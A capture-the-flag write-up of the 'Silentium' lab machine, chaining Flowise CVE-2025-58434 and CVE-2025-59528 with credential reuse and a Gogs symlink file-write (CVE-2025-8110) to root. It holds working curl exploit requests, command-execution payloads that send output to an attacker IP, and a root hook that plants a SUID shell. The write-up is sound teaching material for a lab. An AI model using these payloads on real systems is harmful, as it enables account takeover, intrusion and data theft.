Silentium
A staging Flowise 3.0.5 instance leaks a live password-reset token straight back in the /api/v1/account/forgot-password response (CVE-2025-58434), giving instant takeover of the ben@silentium.htb admin account. Authenticated, the Custom MCP node's mcpServerConfig (CVE-2025-59528) spawns arbitrary processes, yielding root inside the Flowise container — whose environment block hands over SMTP_PASSWORD, reused verbatim as ben's system password over SSH. Root comes from a second internal app: Gogs 0.13.3 running as root with open registration, where CVE-2025-8110 lets the contents API write through a committed symlink to overwrite the repository's pre-receive hook, executed as root on the next push.
contents

Silentium — HTB Writeup#
Machine Summary#
| Property | Value |
|---|---|
| Name | Silentium |
| IP | 10.129.245.103 |
| OS | Linux (Ubuntu 24.04.4 LTS, kernel 6.8.0-107-generic) |
| Hostname | silentium |
| Domain | silentium.htb (+ staging.silentium.htb, staging-v2-code.dev.silentium.htb) |
| Difficulty | Easy |
| Key Topics | Flowise reset-token disclosure (CVE-2025-58434), Flowise Custom MCP RCE (CVE-2025-59528), container env credential looting, password reuse, Gogs symlink arbitrary file write (CVE-2025-8110) → root git hook |
Overview#
Silentium exposes only 22 and 80. Port 80 redirects to a static “institutional finance” brochure site on silentium.htb; the only real content is a vhost away. staging.silentium.htb proxies an internal Flowise 3.0.5 AI-agent builder with authentication enabled — and Flowise ≤ 3.0.5 returns a valid password-reset tempToken (plus the bcrypt hash) directly in the body of an unauthenticated POST /api/v1/account/forgot-password. That is CVE-2025-58434, and it is a one-request takeover of ben@silentium.htb, the instance admin.
With a session, the Custom MCP node becomes reachable. Flowise >= 2.2.7-patch.1, < 3.0.6 accepts an attacker-controlled mcpServerConfig on /api/v1/node-load-method/customMCP (CVE-2025-59528), and the stdio transport happily spawns whatever command/args it is handed — arbitrary execution as root inside the Flowise container. The container is a plain unprivileged Alpine image with nothing mounted worth stealing, but its environment block is the payload: SMTP_PASSWORD=r04D!!_R4ge is reused verbatim as ben’s system password, giving SSH to the host and user.txt.
Root is a completely separate application. ps on the host shows /opt/gogs/gogs/gogs web running as root, bound to 127.0.0.1:3001 and proxied as staging-v2-code.dev.silentium.htb. It is Gogs 0.13.3 with RUN_USER = root, repositories in /root/gogs-repositories, and open registration. Gogs ≤ 0.13.3 is vulnerable to CVE-2025-8110: the web editor refuses to write to a symlink, but the contents API never checks, so a symlink committed by git push can be used to write anywhere on disk as root. Pointing it at the repository’s own hooks/pre-receive and pushing once executes the payload as root.
Reconnaissance#
Port scanning#
nmap -p- --min-rate 5000 -T4 -Pn 10.129.245.103 -oN nmap/allports.txtnmap -sC -sV -p 22,80 -Pn 10.129.245.103 -oN nmap/services.txtPORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)| ssh-hostkey:| 256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)|_ 256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)80/tcp open http nginx 1.24.0 (Ubuntu)|_http-title: Did not follow redirect to http://silentium.htb/|_http-server-header: nginx/1.24.0 (Ubuntu)A tiny external surface, and / 301s to http://silentium.htb/ — so vhost routing is in play.
10.129.245.103 silentium.htbThe brochure site#
silentium.htb is a single static Tailwind page: a loan calculator that is pure client-side arithmetic in /assets/app.js, and a “Leadership” section naming Marcus Thorne, Ben (“Head of Financial Systems”), and Elena Rossi. No forms, no API, no server-side anything. Directory brute-forcing is a dead end — the vhost has a try_files $uri $uri/ /index.html catch-all, so every path returns the same 8753-byte page:
gobuster dir -u http://10.129.245.103 -H "Host: silentium.htb" \ -w raft-medium-directories.txt --exclude-length 8753# assets (Status: 301)The only useful name here is Ben — it becomes the username later.
Vhost enumeration#
ffuf -u http://10.129.245.103/ -H "Host: FUZZ.silentium.htb" \ -w subdomains-top1million-20000.txt -mc all -fs 178staging [Status: 200, Size: 3142]→ staging.silentium.htb, and it is not the brochure site:
<title>Flowise - Build AI Agents, Visually</title>Enumeration#
Flowise 3.0.5#
Flowise leaves a couple of endpoints open pre-auth, which is enough to fingerprint it:
curl -s --resolve staging.silentium.htb:80:10.129.245.103 \ http://staging.silentium.htb/api/v1/version# {"version":"3.0.5"}curl -s ... /api/v1/settings # {"PLATFORM_TYPE":"open source"}curl -s ... /api/v1/chatflows # {"error":"Unauthorized Access"}3.0.5 is the interesting part. It sits inside the affected range of two serious 2025 advisories at once:
| CVE | Affected | Effect |
|---|---|---|
| CVE-2025-58434 | <= 3.0.5 | Unauthenticated password-reset token disclosure → account takeover (CVSS 9.8) |
| CVE-2025-59528 | >= 2.2.7-patch.1, < 3.0.6 | mcpServerConfig code injection in the Custom MCP node → RCE (CVSS 10.0) |
Authentication is enabled on this instance (POST /api/v1/auth/resolve → {"redirectUrl":"/signin"}), so the RCE is not reachable cold — CVE-2025-59528 has to be unlocked by CVE-2025-58434 first. Verified after the fact:
# no session, straight at the RCE endpointcurl -s ... -X POST .../api/v1/node-load-method/customMCP -d '{...}'# {"error":"Unauthorized Access"}Exploitation — User Flag#
Step 1: CVE-2025-58434 — reset token handed back in the response#
POST /api/v1/account/forgot-password is unauthenticated. Instead of only mailing a link, Flowise ≤ 3.0.5 serialises the whole user record — including a live tempToken — into the HTTP response. The only prerequisite is knowing an email address, and the site’s Leadership section supplied the name:
curl -s --resolve staging.silentium.htb:80:10.129.245.103 \ -X POST http://staging.silentium.htb/api/v1/account/forgot-password \ -H 'Content-Type: application/json' \ -d '{"user":{"email":"ben@silentium.htb"}}'{"user":{"id":"e26c9d6c-678c-4c10-9e36-01813e8fea73","name":"admin", "email":"ben@silentium.htb", "credential":"$2a$05$6o1ngPjXiRj.EbTK33PhyuzNBn2CLo8.b0lyys3Uht9Bfuos2pWhG", "tempToken":"Y0B9TS2v6HDmOxRyL3LpsjGhPargc7G7beGMsfCmlGfM4YL2AqpcUrxSdh9bcNlO", "tokenExpiry":"2026-08-04T15:03:53.617Z","status":"active", ...}}Non-existent addresses return {"message":"User Not Found"}, so the endpoint doubles as a user oracle. The token is good for ~15 minutes; feed it straight back:
TOK=$(curl -s ... -d '{"user":{"email":"ben@silentium.htb"}}' \ | python3 -c 'import sys,json;print(json.load(sys.stdin)["user"]["tempToken"])')curl -s ... -X POST http://staging.silentium.htb/api/v1/account/reset-password \ -H 'Content-Type: application/json' \ -d "{\"user\":{\"email\":\"ben@silentium.htb\",\"tempToken\":\"$TOK\",\"password\":\"Pwned123!@#\"}}"curl -s -c /tmp/flowise.jar ... -X POST http://staging.silentium.htb/api/v1/auth/login \ -H 'Content-Type: application/json' \ -d '{"email":"ben@silentium.htb","password":"Pwned123!@#"}'{"id":"e26c9d6c-...","email":"ben@silentium.htb","name":"admin", "isOrganizationAdmin":true,"activeWorkspace":"Default Workspace", "assignedWorkspaces":[{"role":"owner", ...}]}Organisation admin and workspace owner. One gotcha: the session cookies alone still 401 the API — Flowise gates cookie auth behind an internal-request header:
curl -s -b /tmp/flowise.jar -H 'x-request-from: internal' ... /api/v1/chatflowsThe workspace itself is bare (chatflows, credentials, variables, tools all []) — there is nothing to loot here, so the account is only useful as a key to the RCE.
Step 2: CVE-2025-59528 — Custom MCP node → command execution#
GET /api/v1/nodes lists 295 nodes, among them customMCP. Its single meaningful input is a free-form mcpServerConfig blob, and POST /api/v1/node-load-method/customMCP with loadMethod: listActions makes Flowise actually stand the MCP server up in order to enumerate its actions. With the stdio transport that means spawning command with args.
Every response is the same unhelpful [{"label":"No Available Actions", ...}] whether or not the process ran, so timing is the oracle:
# baseline-d '{"loadMethod":"listActions","inputs":{"mcpServerConfig":"{\"command\":\"sleep\",\"args\":[\"12\"]}"}}'| Config | Response time |
|---|---|
{"command":"bash","args":["-c","sleep 12"]} | 0.08 s |
{"command":"sleep","args":["12"]} | 12.08 s |
{"command":"npx","args":["-y","@modelcontextprotocol/server-everything"]} | 60.09 s (handshake timeout) |
{"command":"sh","args":["-c","sleep 12"]} | 12.08 s |
{"command":"/bin/bash","args":["-c","sleep 12"]} | 0.08 s |
Execution is real — and bash does not exist, which is the first hint the target is an Alpine container. Everything must use sh.
Egress works, so output can simply be posted back:
curl -s ... -d '{"loadMethod":"listActions","inputs":{"mcpServerConfig": "{\"command\":\"sh\",\"args\":[\"-c\",\"wget -q -O- http://10.10.15.119:8000/hit-$(id -u)-$(whoami)\"]}"}}'10.129.245.103 - - "GET /hit-0-root HTTP/1.1" 404 -uid 0. Rather than fight for an interactive shell, tools/rce.sh wraps this into a command-execution primitive that pipes combined output back to a small collector over HTTP:
REMOTE="{ $CMD ; } 2>&1 | curl -s -X POST --data-binary @- http://$LHOST:$LPORT/$TAG"# embedded as {"command":"sh","args":["-c","<REMOTE>"]}TAG=recon ./tools/rce.sh 'id; hostname; cat /etc/os-release | head -3'uid=0(root) gid=0(root) groups=0(root),...c78c3cceb7baNAME="Alpine Linux"ID=alpineVERSION_ID=3.22.1Step 3: Loot the container environment#
Root in the container, but it is an ordinary unprivileged Docker container — default capability set (CapEff: 00000000a00425fb, no CAP_SYS_ADMIN), docker-default AppArmor, seccomp active, no host disks in /dev. No escape there. The value is in /proc/1/environ:
TAG=enum ./tools/rce.sh 'tr "\0" "\n" < /proc/1/environ; mount | grep -v ^proc; ip a'FLOWISE_USERNAME=benFLOWISE_PASSWORD=F1l3_d0ck3rSMTP_HOST=mailhogSMTP_PORT=1025SMTP_USERNAME=testSMTP_PASSWORD=r04D!!_R4geSENDER_EMAIL=ben@silentium.htbJWT_AUTH_TOKEN_SECRET=AABBCCDDAABBCCDDAABBCCDDAABBCCDDAABBCCDDDATABASE_PATH=/root/.flowiseand the Docker bridge layout:
| Address | Host |
|---|---|
| 172.18.0.1 | the host (22, 80) |
| 172.18.0.2 | mailhog (1025 SMTP, 8025 UI) |
| 172.18.0.3 | this Flowise container (3000) |
Two candidate passwords. F1l3_d0ck3r is refused everywhere; r04D!!_R4ge — the SMTP password — is ben’s system password:
ssh ben@10.129.245.103 # password: r04D!!_R4geuid=1000(ben) gid=1000(ben) groups=1000(ben),100(users)silentiumcat ~/user.txtUser Flag: 95a70ad01cd23e74d4d4539e89613c80
Privilege Escalation — Root Flag#
Step 1: A second app, running as root#
ben has no sudo rights (Sorry, user ben may not run sudo on silentium), a stock SUID set, and nothing writable outside /var/crash. The interesting output is ps and the loopback listeners:
root 1473 /opt/gogs/gogs/gogs webroot 1895 node /usr/local/bin/flowise starttcp LISTEN 127.0.0.1:3000 # flowise (docker-proxy)tcp LISTEN 127.0.0.1:3001 # gogstcp LISTEN 127.0.0.1:1025 # mailhog smtptcp LISTEN 127.0.0.1:8025 # mailhog uitcp LISTEN 127.0.0.1:46197 # containerd (red herring)/etc/nginx/sites-enabled/staging-v2-code proxies port 3001 for a second-level subdomain, which is why the earlier FUZZ.silentium.htb sweep never found it — it is externally reachable, just one label deeper:
curl -s --resolve staging-v2-code.dev.silentium.htb:80:10.129.245.103 \ http://staging-v2-code.dev.silentium.htb/ | grep -o '<title>.*</title>'# <title>Gogs</title>/opt/gogs/gogs/custom/conf/app.ini is world-readable and states the problem plainly:
RUN_USER = root[server]HTTP_ADDR = 127.0.0.1HTTP_PORT = 3001[database]PATH = /opt/gogs/data/gogs.db[repository]ROOT_PATH = /root/gogs-repositories[security]INSTALL_LOCK = trueSECRET_KEY = sdsrcxSm0iC7wDO[auth]DISABLE_REGISTRATION = falseENABLE_REGISTRATION_CAPTCHA = true/opt/gogs/gogs/gogs --version# Gogs version 0.13.3Gogs runs as root, writes its repositories into /root, and registration is open. 0.13.3 is the last release before the fix, squarely inside CVE-2025-8110 (Gogs <= 0.13.3, patched in 0.13.4): an authenticated user can bypass the path-traversal hardening added for CVE-2024-55947 by committing a symlink and writing through it, because the write never resolves links.
ben’s Gogs password is not recoverable (/opt/gogs/data is mode 750 and unreadable, and the leaked SECRET_KEY is not enough on its own — Gogs’ remember-me cookie is keyed on user.Rands + user.Passwd from that same database). It does not matter: registration is open, so any account will do.
Step 2: Registering past the captcha#
The sign-up form is guarded by a go-macaron/captcha image — trivial for a human in a browser, mildly annoying to script. Since the flow is otherwise fully scriptable, tools/gogs_solve.py reconstructs the renderer from upstream image.go and template-matches it. The useful facts, all derived from calculateSizes/NewImage for a 240×80 canvas with six digits:
border = h/4 = 20 -> nw = 26.6, nh = 40dotSize = int(40/18) = 2numWidth = int(26.6) - 2 = 24 pitch = numWidth + dotSize = 26glyph box = 11*2 x 18*2 = 22 x 36 digits + strike line use palette index 1Three preprocessing steps make it tractable:
- Filter to palette index 1. The 20 noise circles are drawn with random palette indices 1–18, so this alone removes most of them; a connected-component size filter clears the rest.
- Remove the strike-through curve. It is a thin sinusoid spanning the full width, further warped by
distort(). Collecting every column where the ink is a single short run and least-squares fittingy = c + a₁sin(2πx/P₁) + b₁cos(2πx/P₁) + a₂sin(2πx/P₂) + b₂cos(2πx/P₂)over a grid ofP₁,P₂recovers it; masking ±2 px around the fit strips it cleanly. - Grid on the pitch, not the ink span. Dividing the observed ink span into six equal cells drifts by ~7 px by the last digit; stepping a fixed 26 px does not.
Matching is then IoU between a bounding-box-normalised template (10 digits × 29 skews, since drawDigit shears each glyph by up to ±0.7 px/row) and the image, searched over ±12 px. Plain coverage scoring is not enough — a 3 sits happily inside an 8 — but IoU penalises the uncovered ink.
Before / after strike removal, and the matched overlay (blue = template ∩ image):
raw ink 2373 px -> 1576 px after strike fit (err 0.30, P1=115, P2=180)cell0: 1 (0.689) cell1: 3 (0.705) cell2: 3 (0.608)cell3: 5 (0.693) cell4: 8 (0.753) cell5: 1 (0.632)python3 tools/gogs_register.py pentest pentest@silentium.htb 'Pentest123!'# attempt 1: captcha=349982 -> captcha# attempt 2: captcha=417716 -> ok# [+] registered pentest:Pentest123!Create a repository (the form field is user_id, not uid), and mint an API token from /user/settings/applications — the API rejects basic auth.
Step 3: CVE-2025-8110 — write through a symlink, as root#
Gogs’ repositories live in /root/gogs-repositories/<owner>/<repo>.git, and each bare repo has an executable hooks/pre-receive delegate script. os.WriteFile preserves the mode of an existing file, so overwriting that hook keeps it executable — and it is run by root on every push.
Commit a symlink pointing at it:
git clone "http://pentest:Pentest123%21@127.0.0.1:3001/pentest/x.git" && cd xln -s /root/gogs-repositories/pentest/x.git/hooks/pre-receive linkgit add link && git commit -m "add link" && git push origin mastergit ls-files -s# 120000 7962646594ecee847cd478201eee2112059f027f 0 linkThe web editor is patched and refuses:
curl ... -X POST "http://127.0.0.1:3001/pentest/x/_edit/master/link" --data-urlencode "content@payload.sh"# <p>The file 'link' is a symlink that cannot be modified from the web editor.</p>Renaming to a fresh path in the same request (the CVE-2024-44625 trick) is blocked too — 0.13.3 checks the old path as well. The contents API, however, has no such check at all. That is CVE-2025-8110:
T=$(cat /tmp/gogs_token)curl -s -w '%{http_code}\n' -H "Authorization: token $T" -H 'Content-Type: application/json' \ -X PUT "http://127.0.0.1:3001/api/v1/repos/pentest/x/contents/link" \ -d "{\"content\":\"$(base64 -w0 payload.sh)\",\"message\":\"p\",\"branch\":\"master\"}"# 201payload.sh lands in /root/gogs-repositories/pentest/x.git/hooks/pre-receive:
#!/bin/shid > /tmp/.pwn_id 2>&1cp /root/root.txt /tmp/.rt 2>/dev/null; chmod 644 /tmp/.rtcp /bin/bash /tmp/.rb 2>/dev/null; chmod 4755 /tmp/.rbexit 0The hook is only invoked on the next push, so one more write triggers it:
curl -s -H "Authorization: token $T" -H 'Content-Type: application/json' \ -X PUT "http://127.0.0.1:3001/api/v1/repos/pentest/x/contents/README.md" \ -d '{"content":"dHJpZ2dlcgo=","message":"t","branch":"master"}'ls -la /tmp/.pwn_id /tmp/.rt /tmp/.rb; cat /tmp/.pwn_id-rw-r--r-- 1 root root 39 /tmp/.pwn_id-rwsr-xr-x 1 root root 1446024 /tmp/.rb-rw-r--r-- 1 root root 33 /tmp/.rtuid=0(root) gid=0(root) groups=0(root)/tmp/.rb -p -c 'id; cat /root/root.txt'# uid=1000(ben) gid=1000(ben) euid=0(root) groups=1000(ben),100(users)Root Flag: 6cde09a7ddd2b1d3b033cd1b2431a7bd
Obstacles & Lessons Learned#
- The brochure site has a catch-all.
try_files $uri $uri/ /index.htmlmakes every path return 200 with an identical body;gobuster/ffufneed--exclude-length 8753or they report the whole wordlist. The site’s only real contribution is the name Ben. - Fuzz more than one subdomain level.
FUZZ.silentium.htbfindsstagingbut neverstaging-v2-code.dev.silentium.htb— the root-running Gogs lives two labels deep and is externally reachable. It was found from the host (ps+/etc/nginx/sites-enabled/), but aFUZZ.dev.silentium.htbsweep is the external equivalent. - Flowise cookies are not enough. Every authenticated API call also needs
x-request-from: internal, otherwise the session is ignored and everything 401s. - The Custom MCP node answers identically whether or not it ran.
{"label":"No Available Actions"}comes back for success and failure alike; asleeptiming oracle is the only reliable confirmation of execution. - No
bashin the container.{"command":"bash",...}fails instantly whileshworks — the giveaway that the target is Alpine, and the reason every payload usessh. - The env block, not the database, is the loot. Flowise’s SQLite held exactly one user and nothing else.
SMTP_PASSWORD— notFLOWISE_PASSWORD— is the password reused for SSH. Worth noting:FLOWISE_PASSWORD=F1l3_d0ck3rdoes not even matchben’s Flowise bcrypt hash, so it is the legacy basic-auth pair, not the app credential. - MailHog is a decoy. It is reachable at
172.18.0.2:8025and the API is open, but it contained only the two reset emails my own exploitation generated. It is what the reset flow would normally need — but CVE-2025-58434 hands the token over directly, so mail access is never required. - auditd + laurel are a decoy too.
/var/log/laurel/audit.logis-rw-------+and the+looks promising, but parsingsystem.posix_acl_accessshows only base entries —read-usersis commented out in/etc/laurel/config.tomlandbenis granted nothing. - The container is not the escape route. Default caps,
docker-defaultAppArmor, seccomp on, no host block devices — and the only bind mount is Flowise’s own/root/.flowise. The pivot is credential reuse, not a breakout. 127.0.0.1:46197is containerd, not a forgotten service. It answers Go’s bare404: Page Not Found;grep -c "404: Page Not Found" /usr/bin/containerdreturns 1 while the Gogs and dockerd binaries return 0. Do not rabbit-hole on it.- Gogs’ web editor is patched; its API is not.
_editrejects symlinks on both the old and the new tree path, so the CVE-2024-44625 rename trick fails on 0.13.3. OnlyPUT /api/v1/repos/:owner/:repo/contents/:pathskips the check — the whole of CVE-2025-8110 is that one missing validation. - Pick a hook target that is already executable. The
hooks/pre-receive.d/*delegates are skipped unlesstest -xpasses, andos.WriteFilecreates new files0644. Overwriting the existinghooks/pre-receiveinherits its executable mode instead. - The hook fires on the next push. The write and the push in a single API call happen in that order, so the payload needs one further commit to be triggered.
- Finding it next time: two internal apps, two version numbers.
GET /api/v1/versionon Flowise andgogs --versionon the host answer the whole box. Any service whose config saysRUN_USER = rootandDISABLE_REGISTRATION = falseis the privilege-escalation path before you have read a line of its code.
Tools Used#
| Tool | Purpose |
|---|---|
nmap | External port/service scan (22, 80) |
ffuf / gobuster | Vhost discovery (staging), directory brute force (defeated by the catch-all) |
curl | Entire Flowise chain: version fingerprint, CVE-2025-58434 reset + login, CVE-2025-59528 node-load-method, Gogs registration/API |
tools/rce.sh | CVE-2025-59528 exec primitive — wraps a command in the customMCP stdio config and POSTs output back |
tools/collector.py | HTTP collector for command output and tool transfer |
ssh (SSH_ASKPASS) | Password auth as ben; -L 3001 tunnel to reach loopback-only Gogs |
sqlite3 | Inspecting the exfiltrated Flowise database.sqlite (empty — a dead end) |
tools/gogs_solve.py + tools/strike.py | go-macaron captcha solver: palette filter, sinusoid strike-line fit, pitch-aligned segmentation, IoU template match |
tools/gogs_register.py | Automated Gogs sign-up with captcha retry |
git | Committing the symlink that CVE-2025-8110 writes through |
| Gogs contents API | CVE-2025-8110 arbitrary file write → root pre-receive hook |
Appendix — Captured Values (this spawn)#
ATTACKER_IP = 10.10.15.119BOX_IP = 10.129.245.103VHOSTS = silentium.htb staging.silentium.htb -> 127.0.0.1:3000 (Flowise, container 172.18.0.3) staging-v2-code.dev.silentium.htb -> 127.0.0.1:3001 (Gogs, as root)Flowise = 3.0.5 (CVE-2025-58434, CVE-2025-59528)Gogs = 0.13.3 (CVE-2025-8110)Flowise admin = ben@silentium.htb (id e26c9d6c-678c-4c10-9e36-01813e8fea73, name "admin") orig bcrypt = $2a$05$6o1ngPjXiRj.EbTK33PhyuzNBn2CLo8.b0lyys3Uht9Bfuos2pWhGFLOWISE_PASSWORD= F1l3_d0ck3r (legacy basic-auth pair; not the app credential)SMTP_PASSWORD = r04D!!_R4ge -> reused as ben's system passwordGOGS SECRET_KEY = sdsrcxSm0iC7wDO (insufficient on its own — needs the unreadable gogs.db)container = c78c3cceb7ba (Alpine 3.22.1, root, unprivileged)USER_FLAG = 95a70ad01cd23e74d4d4539e89613c80ROOT_FLAG = 6cde09a7ddd2b1d3b033cd1b2431a7bd